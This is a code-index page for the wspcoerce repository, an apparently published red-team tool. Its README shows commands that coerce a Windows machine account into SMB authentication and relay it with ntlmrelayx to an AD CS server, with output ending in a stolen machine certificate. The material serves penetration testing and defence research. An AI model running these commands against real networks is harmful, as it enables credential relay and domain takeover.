MCPcopy Index your code
hub / github.com/RedTeamPentesting/wspcoerce

github.com/RedTeamPentesting/wspcoerce @main

Chat with this repo
repository ↗ · DeepWiki ↗ · + Follow
63 symbols 145 edges 3 files 1 documented · 2%
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

wspcoerce coerces a Windows computer account via SMB to an arbitrary target. Based on the finding by slemire.

$ wspcoerce 'lab.redteam/rtpttest:test1234!@192.0.2.115' "file:////attacksystem/share"
Impacket v0.13.0.dev0+20250408.175013.349160df - Copyright 2023 Fortra

[*] Connected to IPC$
[*] Opened MsFteWds pipe
[*] Sent WSP Connect
[*] Sent WSP Query
[*] Sent WSP Disconnect
$ ntlmrelayx.py -t "http://192.0.2.5/certsrv/" -debug -6 -smb2support --adcs
[...]
[*] SMBD-Thread-6 (process_request_thread): Received connection from 192.0.2.115, attacking target http://192.0.2.5
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.0.2.5 as LAB/WIN11VM$ SUCCEED
[*] SMBD-Thread-8 (process_request_thread): Received connection from 192.0.2.115, attacking target http://192.0.2.5
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://192.0.2.5 as LAB/WIN11VM$ SUCCEED
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 17
[*] Writing PKCS#12 certificate to ./WIN11VM$.pfx
[*] Certificate successfully written to file
[*] Skipping user WIN11VM$ since attack was already performed

Core symbols most depended-on inside this repo

to_bytes
called by 24
wspcoerce/packets.py
AlignWrite
called by 9
wspcoerce/packets.py
AddAlign
called by 6
wspcoerce/packets.py
vType_to_bytes
called by 4
wspcoerce/packets.py
CalculateChecksum
called by 3
wspcoerce/packets.py
to_bytes
called by 3
wspcoerce/packets.py
main
called by 1
wspcoerce/cli.py
to_bytes
called by 1
wspcoerce/packets.py

Shape

Class 29
Method 29
Function 5

Languages

Python100%

Modules by API surface

wspcoerce/packets.py59 symbols
wspcoerce/constants.py3 symbols
wspcoerce/cli.py1 symbols

For agents

$ claude mcp add wspcoerce \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact